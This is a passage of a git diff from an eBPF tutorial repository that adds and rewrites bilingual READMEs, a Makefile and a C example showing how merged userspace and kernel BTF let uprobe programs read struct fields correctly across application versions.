的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容。它在支持 uprobe、syscall trace 和一般的插件扩展的同时,避免了内核态和用户态之间的上下文切换,从而提高了 uprobe 程序的执行效率。借助 libbpf 和 btf 的支持,bpftime 也可以更加动态的扩展用户态应用程序,实现在不同用户态程序版本之间的兼容性。 +- **Flexibility and Compatibility**: The use of BTF in user-space eBPF programs greatly enhances their flexibility and compatibility across different versions of user-space applications and libraries. +- **Reduced Complexity**: This approach significantly reduces the complexity involved in maintaining eBPF programs for different versions of user-space applications, as it eliminates the need for multiple program versions. +- **Potential for Broader Application**: While your example focused on SSL/TLS monitoring, this methodology may has broader applications in performance monitoring, security, and debugging of user-space applications. -这个示例展示了 eBPF 在实践中可以将其强大的 CO-RE 功能扩展到更动态地处理用户空间应用的不同版本变化。 +This example showcases a significant advancement in the practical application of eBPF, extending its powerful features to more dynamically handle user-space applications in a Linux environment. It's a compelling solution for software engineers and system administrators dealing with the complexities of modern Linux systems. -如果你想了解更多关于eBPF知识和实践,你可以访问我们的教程代码库或者网站获得更多示例和完整教程。 +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository or website to get more examples and complete tutorials. diff --git a/src/38-btf-uprobe/README.zh.md b/src/38-btf-uprobe/README.zh.md new file mode 100644 index 00000000..629a6f22 --- /dev/null +++ b/src/38-btf-uprobe/README.zh.md @@ -0,0 +1,319 @@ +# 借助 eBPF 和 BTF,让用户态也能一次编译、到处运行 + +在现代 Linux 系统中,eBPF(扩展的 Berkeley Packet Filter)是一项强大而灵活的技术。它允许在内核中运行沙盒化程序,类似于虚拟机环境,为扩展内核功能提供了一种既安全又不会导致系统崩溃或安全风险的方法。 + +eBPF 中的 “co-re” 代表“一次编译、到处运行”。这是其关键特征之一,用于解决 eBPF 程序在不同内核版本间兼容性的主要挑战。eBPF 的 CO-RE 功能可以实现在不同的内核版本上运行同一 eBPF 程序,而无需重新编译。 + +利用 eBPF 的 Uprobe 功能,可以追踪用户空间应用程序并访问其内部数据结构。然而,用户空间应用程序的 CO-RE 实践目前尚不完善。本文将介绍一种新方法,利用 CO-RE 为用户空间应用程序确保 eBPF 程序在不同应用版本间的兼容性,从而避免了多次编译的需求。例如,在从加密流量中捕获 SSL/TLS 明文数据时,你或许不需要为每个版本的 OpenSSL 维护一个单独的 eBPF 程序。 + +为了在用户空间应用程序中实现eBPF的“一次编译、到处运行”(Co-RE)特性,我们需要利用BPF类型格式(BTF)来克服传统eBPF程序的一些限制。这种方法的关键在于为用户空间程序提供与内核类似的类型信息和兼容性支持,从而使得eBPF程序能够更灵活地应对不同版本的用户空间应用和库。 + +本文是eBPF开发者教程的一部分,详细内容可访问[https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/)。本文完整的代码请查看 。 + +## 为什么我们需要CO-RE? + +- **内核依赖性**:传统的eBPF程序和它们被编译的特定Linux内核版本紧密耦合。这是因为它们依赖于内核的特定内部数据结构和API,这些可能在内核版本间变化。 +- **可移植性问题**:如果你想在带有不同内核版本的不同Linux系统上运行一个eBPF程序,你通常需要为每个内核版本重新编译eBPF程序,这是一个麻烦而低效的过程。 + +### Co-RE的解决方案 + +- **抽象内核依赖性**:Co-RE使eBPF程序更具可移植性,通过使用BPF类型格式(BTF)和重定位来抽象特定的内核依赖。 +- **BPF类型格式(BTF)**:BTF提供了关于内核中数据结构和函数的丰富类型信息。这些元数据允许eBPF程序在运行时理解内核结构的布局。 +- **重定位**:编译支持Co-RE的eBPF程序包含在加载时解析的重定位。这些重定位根据运行内核的实际布局和地址调整程序对内核数据结构和函数的引用。 + +### Co-RE的优点 + +1. **编写一次,任何地方运行**:编译有Co-RE的eBPF程序可以在不同的内核版本上运行,无需重新编译。这大大简化了在多样环境中部署和维护eBPF程序。 +2. **安全和稳定**:Co-RE保持了eBPF的安全性,确保程序不会导致内核崩溃,遵守安全约束。 +3. **简单的开发**:开发者不需要关注每个内核版本的具体情况,这简化了eBPF程序的开发。 + +## 用户空间应用程序CO-RE的问题 + +eBPF也支持追踪用户空间应用程序。Uprobe是一个用户空间探针,允许对用户空间程序进行动态仪表装置。探针位置包括函数入口、特定偏移和函数返回。 + +BTF是为内核设计的,生成自vmlinux,它可以帮助eBPF程序方便地兼容不同的内核版本。但是,用户空间应用程序也需要CO-RE。例如,SSL/TLS uprobe被广泛用于从加密流量中捕获明文数据。它是用用户空间库实现的,如OpenSSL、GnuTLS、NSS等。用户空间应用程序和库也有各种版本,如果我们需要为每个版本编译和维护eBPF程序,那就会很复杂。 + +下面是一些新的工具和方法,可以帮助我们为用户空间应用程序启用CO-RE。 + +## 用户空间程序的BTF + +这是一个简单的uprobe例子,它可以捕获用户空间程序的`add_test`函数的调用和参数。你可以在`uprobe.bpf.c`中添加`#define BPF_NO_PRESERVE_ACCESS_INDEX`来确保eBPF程序可以在没有`struct data`的BTF的情况下编译。 + +```c +#define BPF_NO_GLOBAL_DATA +#define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include + +struct data { + int a; + int c; + int d; +}; + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int a = 0, c = 0; + bpf_probe_read_user(&a, sizeof(a), &d->a); + bpf_probe_read_user(&c, sizeof(c), &d->c); + bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c); + return a + c; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; +``` + +然后,我们有两个不同版本的用户空间程序,`examples/btf-base`和`examples/btf-base-new`。两个版本中的struct `data`是不同的。 + +`examples/btf-base`: + +```c +// use a different struct +struct data { + int a; + int c; + int d; +}; + +int add_test(struct data *d) { + return d->a + d->c; +} + +int main(int argc, char **argv) { + struct data d = {1, 3, 4}; + printf("add_test(&d) = %d\n", add_test(&d)); + return 0; +} +``` + +`examples/btf-base-new`: + +```c +struct data { + int a; + int b; + int c; + int d; +}; + +int add_test(struct data *d) { + return d->a + d->c; +} + +int main(int argc, char **argv) { + struct data d = {1, 2, 3, 4}; + printf("add_test(&d) = %d\n", add_test(&d)); + return 0; +} +``` + +我们可以使用pahole和clang来生成每个版本的btf。制作示例并生成btf: + +```sh +make -C examples # it's like: pahole --btf_encode_detached base.btf btf-base.o +``` + +然后我们执行eBPF程序和用户空间程序。 对于 `btf-base`: + +```sh +sudo ./uprobe examples/btf-base +``` + +也是用户空间程序: + +```console +$ examples/btf-base +add_test(&d) = 4 +``` + +我们将看到: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe\ + <...>-25458 [000] ...11 27694.081465: bpf_trace_printk: add_test(&d) 1 + 3 = 4 +``` + +对于 `btf-base-new`: + +```sh +sudo ./uprobe examples/btf-base-new +``` + +同时也是用户空间程序: + +```console +$ examples/btf-base-new +add_test(&d) = 4 +``` + +但我们可以看到: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe\ + <...>-25809 [001] ...11 27828.314224: bpf_trace_printk: add_test(&d) 1 + 2 = 3 +``` + +结果是不同的,因为两个版本中的struct `data`是不同的。eBPF程序无法与不同版本的用户空间程序兼容,我们获取到了错误的结构体偏移量,也会导致我们追踪失败。 + +## 使用用户空间程序的BTF + +在`uprobe.bpf.c`中注释掉`#define BPF_NO_PRESERVE_ACCESS_INDEX` ,以确保eBPF程序可以以`struct data`的BTF编译。 + +```c +#define BPF_NO_GLOBAL_DATA +// #define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + +struct data { + int a; + int c; + int d; +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int a = 0, c = 0; + bpf_probe_read_user(&a, sizeof(a), &d->a); + bpf_probe_read_user(&c, sizeof(c), &d->c); + bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c); + return a + c; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; +``` + +`struct data`的记录在eBPF程序中被保留下来。然后,我们可以使用 `btf-base.btf`来编译eBPF程序。 + +这时,如果未提供用户态的 BTF 信息,会导致验证失败: + +```console +# ./uprobe examples/btf-base +..... +; int BPF_UPROBE(add_test, struct data *d) @ uprobe.bpf.c:23 +0: (79) r6 = *(u64 *)(r1 +112) ; R1=ctx() R6_w=scalar() +1: (b7) r7 = 0 ; R7_w=0 +; int a = 0, c = 0; @ uprobe.bpf.c:25 +2: (63) *(u32 *)(r10 -4) = r7 ; R7_w=0 R10=fp0 fp-8=0000???? +3: (63) *(u32 *)(r10 -8) = r7 ; R7_w=0 R10=fp0 fp-8=00000 +4: +failed to resolve CO-RE relocation [17] struct data.a (0:0 @ offset 0) +processed 5 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0 +-- END PROG LOAD LOG -- +libbpf: prog 'add_test': failed to load: -22 +libbpf: failed to load object 'uprobe_bpf' +libbpf: failed to load BPF skeleton 'uprobe_bpf': -22 +Failed to load and verify BPF skeleton +``` + +将用户btf与内核btf合并,这样我们就有了一个完整的内核和用户空间的btf: + +```sh +./merge-btf /sys/kernel/btf/vmlinux examples/base.btf target-base.btf +``` + +然后我们使用用户空间程序执行eBPF程序。 对于 `btf-base`: + +```console +$ sudo ./uprobe examples/btf-base target-base.btf +... +libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0 +libbpf: prog 'add_test': relo #2: [7] struct data.c (0:1 @ offset 4) +libbpf: prog 'add_test': relo #2: matching candidate #0 [133110] struct data.c (0:1 @ offset 4) +libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 4 +... +``` + +执行用户空间程序并获取结果: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe +[sudo] password for yunwei37: + <...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4 +``` + +还可以对另一个版本的用户空间程序`btf-base-new`做同样的操作: + +```console +$ ./merge-btf /sys/kernel/btf/vmlinux examples/base-new.btf target-base-new.btf +$ sudo ./uprobe examples/btf-base-new target-base-new.btf +.... +libbpf: sec 'uprobe/examples/btf-base:add_test': found 3 CO-RE relocations +libbpf: CO-RE relocating [2] struct pt_regs: found target candidate [357] struct pt_regs in [vmlinux] +libbpf: prog 'add_test': relo #0: [2] struct pt_regs.di (0:14 @ offset 112) +libbpf: prog 'add_test': relo #0: matching candidate #0 [357] struct pt_regs.di (0:14 @ offset 112) +libbpf: prog 'add_test': relo #0: patched insn #0 (LDX/ST/STX) off 112 -> 112 +libbpf: CO-RE relocating [7] struct data: found target candidate [133110] struct data in [vmlinux] +libbpf: prog 'add_test': relo #1: [7] struct data.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #1: matching candidate #0 [133110] struct data.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0 +libbpf: prog 'add_test': relo #2: [7] struct data.c (0:1 @ offset 4) +libbpf: prog 'add_test': relo #2: matching candidate #0 [133110] struct data.c (0:2 @ offset 8) +libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 8 +libbpf: elf: symbol address match for 'add_test' in 'examples/btf-base-new': 0x1140 +Successfully started! Press Ctrl+C to stop. +``` + +结果是正确的: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe +[sudo] password for yunwei37: + <...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4 +``` + +我们的 eBPF 追踪程序也几乎不需要进行任何修改,只需要把包含 kernel 和用户态结构体偏移量的 BTF 加载进来即可。这和旧版本内核上没有 btf 信息的使用方式是一样的: + +```c + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } +``` + +实际上,btf 实现重定向需要两个部分,一个是 bpf 程序带的编译时的 btf 信息,一个是内核的 btf 信息。在实际加载 ebpf 程序的时候,libbpf 会根据当前内核上准确的 btf 信息,来修改可能存在错误的 ebpf 指令,确保在不同内核版本上能够兼容。 + +有趣的是,实际上 libbpf 并不区分这些 btf 信息来自用户态程序还是内核,因此我们只要把用户态的重定向信息一起提供给 libbpf 进行重定向,问题就解决了。 + +本文的工具和完整的代码在 开源。 + +## 结论 + +- **灵活性和兼容性**:在用户空间eBPF程序中使用 BTF 大大增强了它们在不同版本的用户空间应用程序和库之间的灵活性和兼容性。 +- **简化了复杂性**:这种方法显著减少了维护不同版本的用户空间应用程序的eBPF程序的复杂性,因为它消除了需要多个程序版本的需要。 +- **更广泛的应用**:这种方法在性能监控、安全和用户空间应用程序的调试等方面也可能能有更广泛的应用。bpftime( ) 是一个开源的基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容。它在支持 uprobe、syscall trace 和一般的插件扩展的同时,避免了内核态和用户态之间的上下文切换,从而提高了 uprobe 程序的执行效率。借助 libbpf 和 btf 的支持,bpftime 也可以更加动态的扩展用户态应用程序,实现在不同用户态程序版本之间的兼容性。 + +这个示例展示了 eBPF 在实践中可以将其强大的 CO-RE 功能扩展到更动态地处理用户空间应用的不同版本变化。 + +如果你想了解更多关于eBPF知识和实践,你可以访问我们的教程代码库 或者网站 获得更多示例和完整教程。 diff --git a/src/38-btf-uprobe/README_en.md b/src/38-btf-uprobe/README_en.md deleted file mode 100644 index aa1a0e6d..00000000 --- a/src/38-btf-uprobe/README_en.md +++ /dev/null @@ -1,313 +0,0 @@ -# Expanding eBPF Compile Once, Run Everywhere(CO-RE) to Userspace Compatibility - -> Yusheng - -eBPF, short for extended Berkeley Packet Filter, is a powerful and versatile technology used in modern Linux systems. It allows for the running of sandboxed programs in a virtual machine-like environment within the kernel, providing a safe way to extend the capabilities of the kernel without the risk of crashing the system or compromising security. - -Co-RE, standing for 'Compile Once, Run Everywhere', tackles the critical issue of eBPF program compatibility across diverse kernel versions. This feature allows eBPF programs to run on various kernel versions without the need for recompilation, simplifying deployment and maintenance. - -With eBPF Uprobe, you can also trace userspace applications and access their internal data structures. However, the CO-RE is not designed for userspace applications. This blog will introduce how to leverage CO-RE for user-space applications, ensuring eBPF Uprobe programs remain compatible across different application versions without the need for multiple compilations. - -This approach may be particularly beneficial for tracing applications like OpenSSL, where maintaining separate eBPF programs for each version is impractical. With userspace eBPF runtimes like bpftime, you can also expand the CO-RE to more usecases, including extensions, networking, and dynamic patching, providing versatile and efficient solutions. - -To implement the Co-RE feature of eBPF in user-space applications, we also need to utilize the BPF Type Format (BTF) to overcome some of the limitations of traditional eBPF programs. The key to this approach lies in providing user-space programs with similar type information and compatibility support as the kernel, thereby enabling eBPF programs to more flexibly handle different versions of user-space applications and libraries. - -This article is part of the eBPF Developer Tutorial, and for more detailed content, you can visit [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/). The source code is available on the [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/38-btf-uprobe). - -## Why we need CO-RE? - -- **Kernel Dependencies**: Traditional eBPF programs are tightly coupled with the specific Linux kernel version they are compiled for. This is because they rely on specific internal data structures and kernel APIs which can change between kernel versions. -- **Portability Issues**: If you wanted to run an eBPF program on different Linux systems with different kernel versions, you'd traditionally have to recompile the eBPF program for each kernel version, which is a cumbersome and inefficient process. - -### The Co-RE Solution - -- **Abstracting Kernel Dependencies**: Co-RE enables eBPF programs to be more portable by abstracting away specific kernel dependencies. This is achieved through the use of BPF Type Format (BTF) and relocations. -- **BPF Type Format (BTF)**: BTF provides rich type information about data structures and functions in the kernel. This metadata allows eBPF programs to understand the layout of kernel structures at runtime. -- **Relocations**: eBPF programs compiled with Co-RE support contain relocations that are resolved at load time. These relocations adjust the program's references to kernel data structures and functions according to the actual layout and addresses in the running kernel. - -### Advantages of Co-RE - -1. **Write Once, Run Anywhere**: eBPF programs compiled with Co-RE can run on different kernel versions without the need for recompilation. This greatly simplifies the deployment and maintenance of eBPF programs in diverse environments. -2. **Safety and Stability**: Co-RE maintains the safety guarantees of eBPF, ensuring that programs do not crash the kernel and adhere to security constraints. -3. **Ease of Development**: Developers don't need to worry about the specifics of each kernel version, which simplifies the development of eBPF programs. - -## Problem: userspace application CO-RE - -The eBPF also supports tracing userspace applications. Uprobe is a user-space probe that allows dynamic instrumentation in user-space programs. The probe locations include function entry, specific offsets, and function returns. - -The BTF is designed for the kernel and generated from vmlinux, it can help the eBPF program to be easily compatible with different kernel versions. - -The userspace application, however, also need CO-RE. For example, the SSL/TLS uprobe is widely used to capture the plaintext data from the encrypted traffic. It is implemented with the userspace library, such as OpenSSL, GnuTLS, NSS, etc. The userspace application and libraries also has different versions, it would be complex if we need to compile and maintain the eBPF program for each version. - -Let's see what will happen if CO-RE is not enabled for userspace applications, and how the BTF from userspace applications can solve this. - -## No BTF for userspace program - -This is a simple uprobe example, it can capture the function call and arguments of the `add_test` function in the userspace program. You can add `#define BPF_NO_PRESERVE_ACCESS_INDEX` in the `uprobe.bpf.c` to make sure the eBPF program can be compiled without BTF for `struct data`. - - -```c -#define BPF_NO_GLOBAL_DATA -#define BPF_NO_PRESERVE_ACCESS_INDEX -#include -#include -#include - -struct data { - int a; - int c; - int d; -}; - -SEC("uprobe/examples/btf-base:add_test") -int BPF_UPROBE(add_test, struct data *d) -{ - int a = 0, c = 0; - bpf_probe_read_user(&a, sizeof(a), &d->a); - bpf_probe_read_user(&c, sizeof(c), &d->c); - bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c); - return a + c; -} - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; -``` - -Then, we have two different versions of the userspace program, `examples/btf-base` and `examples/btf-base-new`. The struct `data` is different in the two versions. - -`examples/btf-base`: - -```c -// use a different struct -struct data { - int a; - int c; - int d; -}; - -int add_test(struct data *d) { - return d->a + d->c; -} - -int main(int argc, char **argv) { - struct data d = {1, 3, 4}; - printf("add_test(&d) = %d\n", add_test(&d)); - return 0; -} -``` - -`examples/btf-base-new`: - -```c -struct data { - int a; - int b; - int c; - int d; -}; - -int add_test(struct data *d) { - return d->a + d->c; -} - -int main(int argc, char **argv) { - struct data d = {1, 2, 3, 4}; - printf("add_test(&d) = %d\n", add_test(&d)); - return 0; -} -``` - -We can use pahole and clang to generate the btf for each version of userspace applications. The pahole tool can simply generate BTF from the debug info: - -make examples and generate btf for them: - -```sh -make -C example # it's like: pahole --btf_encode_detached base.btf btf-base.o -``` - -The we execute the eBPF program with the userspace program. for `btf-base`: - -```sh -sudo ./uprobe examples/btf-base -``` - -And also the userspace program: - -```console -$ examples/btf-base -add_test(&d) = 4 -``` - -We will see: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe\ - <...>-25458 [000] ...11 27694.081465: bpf_trace_printk: add_test(&d) 1 + 3 = 4 -``` - -For `btf-base-new`: - -```sh -sudo ./uprobe examples/btf-base-new -``` - -And also the userspace program: - -```console -$ examples/btf-base-new -add_test(&d) = 4 -``` - -But we will see: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe\ - <...>-25809 [001] ...11 27828.314224: bpf_trace_printk: add_test(&d) 1 + 2 = 3 -``` - -The result is different, because the struct `data` is different in the two versions. The eBPF program can't be compatible with different versions of the userspace program, so we cannot get the correct information. - -## Use BTF for userspace program - -Comment the `#define BPF_NO_PRESERVE_ACCESS_INDEX` in the `uprobe.bpf.c` to make sure the eBPF program can be compiled with BTF for `struct data`. - -```c -#define BPF_NO_GLOBAL_DATA -// #define BPF_NO_PRESERVE_ACCESS_INDEX -#include -#include -#include - -#ifndef BPF_NO_PRESERVE_ACCESS_INDEX -#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) -#endif - -struct data { - int a; - int c; - int d; -}; - -#ifndef BPF_NO_PRESERVE_ACCESS_INDEX -#pragma clang attribute pop -#endif - - -SEC("uprobe/examples/btf-base:add_test") -int BPF_UPROBE(add_test, struct data *d) -{ - int a = 0, c = 0; - bpf_probe_read_user(&a, sizeof(a), &d->a); - bpf_probe_read_user(&c, sizeof(c), &d->c); - bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c); - return a + c; -} - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; -``` - -The record of `struct data` is preserved in the eBPF program. Then, we can use the `btf-base.btf` to compile the eBPF program. - -Merge user btf with kernel btf, so we have a complete btf for the kernel and userspace: - -```sh -./merge-btf /sys/kernel/btf/vmlinux examples/base.btf target-base.btf -``` - -Then we execute the eBPF program with the userspace program. for `btf-base`: - -```console -$ sudo ./uprobe examples/btf-base target-base.btf -... -libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0 -libbpf: prog 'add_test': relo #2: [7] struct data.c (0:1 @ offset 4) -libbpf: prog 'add_test': relo #2: matching candidate #0 [133110] struct data.c (0:1 @ offset 4) -libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 4 -... -``` - -Execute the userspace program and get result: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe -[sudo] password for yunwei37: - <...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4 - -``` - -Also, we do the same for another version of the userspace program `btf-base-new`: - -```console -$ ./merge-btf /sys/kernel/btf/vmlinux examples/base-new.btf target-base-new.btf -$ sudo ./uprobe examples/btf-base-new target-base-new.btf -.... -libbpf: sec 'uprobe/examples/btf-base:add_test': found 3 CO-RE relocations -libbpf: CO-RE relocating [2] struct pt_regs: found target candidate [357] struct pt_regs in [vmlinux] -libbpf: prog 'add_test': relo #0: [2] struct pt_regs.di (0:14 @ offset 112) -libbpf: prog 'add_test': relo #0: matching candidate #0 [357] struct pt_regs.di (0:14 @ offset 112) -libbpf: prog 'add_test': relo #0: patched insn #0 (LDX/ST/STX) off 112 -> 112 -libbpf: CO-RE relocating [7] struct data: found target candidate [133110] struct data in [vmlinux] -libbpf: prog 'add_test': relo #1: [7] struct data.a (0:0 @ offset 0) -libbpf: prog 'add_test': relo #1: matching candidate #0 [133110] struct data.a (0:0 @ offset 0) -libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0 -libbpf: prog 'add_test': relo #2: [7] struct data.c (0:1 @ offset 4) -libbpf: prog 'add_test': relo #2: matching candidate #0 [133110] struct data.c (0:2 @ offset 8) -libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 8 -libbpf: elf: symbol address match for 'add_test' in 'examples/btf-base-new': 0x1140 -Successfully started! Press Ctrl+C to stop. -``` - -The result is correct: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe -[sudo] password for yunwei37: - <...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4 -``` - -For complete source code, you can visit [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/38-btf-uprobe](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/38-btf-uprobe) for more details. - -The eBPF uprobe tracing program almost doesn't need any modifications. We just need to load the BTF containing the offsets of kernel and user-space structures. This is the same usage as enabling CO-RE on older kernel versions without BTF information: - -```c - LIBBPF_OPTS(bpf_object_open_opts , opts, - ); - LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); - if (argc != 3 && argc != 2) { - fprintf(stderr, "Usage: %s []\n", argv[0]); - return 1; - } - if (argc == 3) - opts.btf_custom_path = argv[2]; - - /* Set up libbpf errors and debug info callback */ - libbpf_set_print(libbpf_print_fn); - - /* Cleaner handling of Ctrl-C */ - signal(SIGINT, sig_handler); - signal(SIGTERM, sig_handler); - - /* Load and verify BPF application */ - skel = uprobe_bpf__open_opts(&opts); - if (!skel) { - fprintf(stderr, "Failed to open and load BPF skeleton\n"); - return 1; - } -``` - -In fact, the BTF implementation for relocation requires two parts: the compile-time BTF information carried by the BPF program, and the BTF information of the kernel when loading the eBPF program. When actually loading the eBPF program, libbpf will modify potentially incorrect eBPF instructions based on the accurate BTF information of the current kernel, ensuring compatibility across different kernel versions. - -Interestingly, libbpf does not differentiate whether these BTF information come from user-space programs or the kernel. Therefore, by merging the user-space BTF information with kernel BTF and provide them to libbpf, the problem is solved. - -And also, since the relocation is happened in userspace loader(like libbpf), both kernel eBPF runtime and userspace eBPF runtimes(Such as bpftime) can benefit from the CO-RE. bpftime () is an open-source user-space eBPF runtime based on LLVM JIT/AOT. It enables the execution of eBPF programs in user space, compatible with kernel-space eBPF. While supporting uprobes, syscall trace, and general plugin extensions, it avoids the context switching between kernel and user spaces, thereby enhancing the execution efficiency of uprobe programs. With the support of libbpf and BTF, bpftime can also dynamically extend user-space applications, achieving compatibility across different versions of user-space programs. - -For more details about BTF relocation, you may refer to - -## Conclusion - -- **Flexibility and Compatibility**: The use of BTF in user-space eBPF programs greatly enhances their flexibility and compatibility across different versions of user-space applications and libraries. -- **Reduced Complexity**: This approach significantly reduces the complexity involved in maintaining eBPF programs for different versions of user-space applications, as it eliminates the need for multiple program versions. -- **Potential for Broader Application**: While your example focused on SSL/TLS monitoring, this methodology may has broader applications in performance monitoring, security, and debugging of user-space applications. - -This example showcases a significant advancement in the practical application of eBPF, extending its powerful features to more dynamically handle user-space applications in a Linux environment. It's a compelling solution for software engineers and system administrators dealing with the complexities of modern Linux systems. - -If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository or website to get more examples and complete tutorials. diff --git a/src/38-btf-uprobe/examples/.gitignore b/src/38-btf-uprobe/examples/.gitignore index d36e43a0..f4f43997 100644 --- a/src/38-btf-uprobe/examples/.gitignore +++ b/src/38-btf-uprobe/examples/.gitignore @@ -2,3 +2,4 @@ *.btf btf-base btf-base-new +btf-base-complete diff --git a/src/38-btf-uprobe/examples/Makefile b/src/38-btf-uprobe/examples/Makefile index d99c09df..4f404a8b 100644 --- a/src/38-btf-uprobe/examples/Makefile +++ b/src/38-btf-uprobe/examples/Makefile @@ -7,7 +7,7 @@ BPF_SRCS = $(wildcard *.bpf.c) # BPF object files BPF_OBJS = $(BPF_SRCS:.c=.o) -all: $(BPF_OBJS) base.btf btf-base btf-base-new base-new.btf +all: $(BPF_OBJS) base.btf btf-base btf-base-new btf-base-complete base-new.btf base-complete.btf %.bpf.o: %.bpf.c $(BPF_CC) $(BPF_CFLAGS) $< -o $@ @@ -18,9 +18,15 @@ btf-base.o: btf-base.c btf-base-new.o: btf-base-new.c clang -g -c btf-base-new.c -o btf-base-new.o +btf-base-complete.o: btf-base-complete.c + clang -g -c btf-base-complete.c -o btf-base-complete.o + base.btf: btf-base.o pahole --btf_encode_detached base.btf btf-base.o +base-complete.btf: btf-base-complete.o + pahole --btf_encode_detached base-complete.btf btf-base-complete.o + base-new.btf: btf-base-new.o pahole --btf_encode_detached base-new.btf btf-base-new.o @@ -29,7 +35,9 @@ btf-base: btf-base.o btf-base-new: btf-base-new.o clang -g btf-base-new.o -o btf-base-new - + +btf-base-complete: btf-base-complete.o + clang -g btf-base-complete.o -o btf-base-complete clean: - rm -f *.o *.btf btf-base btf-base-new + rm -f *.o *.btf btf-base btf-base-new btf-base-complete diff --git a/src/38-btf-uprobe/examples/btf-base-complete.c b/src/38-btf-uprobe/examples/btf-base-complete.c new file mode 100644 index 00000000..19cf5036 --- /dev/null +++ b/src/38-btf-uprobe/examples/btf-base-complete.c @@ -0,0 +1,54 @@ +#include +#include + +struct deep_memory_block { + int a; + char b[10]; +}; + +struct inner_memory_block { + int a; + char b[10]; + struct deep_memory_block *deep; +}; + +struct data { + int a; + int b; + int c; + int d; + // represent a pointer to a memory block + struct inner_memory_block *inner; +}; + +// hook function to be called by eBPF program +int add_test(struct data *d) { + return d->a + d->c; +} + +struct data* my_alloc_data() { + printf("my_alloc_data\n"); + struct data *d = (struct data*)calloc(1, sizeof(struct data)); + d->inner = (struct inner_memory_block*)calloc(1, sizeof(struct inner_memory_block)); + d->inner->deep = (struct deep_memory_block*)calloc(1, sizeof(struct deep_memory_block)); + return d; +} + +void my_free_data(struct data *d) { + printf("my_free_data\n"); + free(d->inner->deep); + free(d->inner); + free(d); +} + +int main(int argc, char **argv) { + struct data *d = my_alloc_data(); + d->a = 1; + d->c = 3; + d->b = 5; + d->d = 7; + printf("add_test(&d) = %d\n", add_test(d)); + my_free_data(d); + return 0; +} + diff --git a/src/38-btf-uprobe/test-verify/README.md b/src/38-btf-uprobe/test-verify/README.md new file mode 100644 index 00000000..80bd3344 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/README.md @@ -0,0 +1,451 @@ +# using BTF to verify userspace eBPF extensions + +Here we will show how to use the type information of userspace application to verify the eBPF program which will access the userspace memory(include valid or invalid data structure memory access, pointer access, etc), and how to verify the resource allocation and deallocation of a psudo ufuncs(Userspace Function) which can be accessed by eBPF program in bpftime. + +This is using kernel eBPF verifier to verify userspace eBPF extensions, the userspace eBPF extensions can be uprobe or other eBPF programs, it can be run in the kernel space or in bpftime. + +## Usage + +The application developer or the extension user who wants to use the eBPF program for userspace application needs to provide: + +1. The BTF information of the userspace application. It can be generated by the compiler or 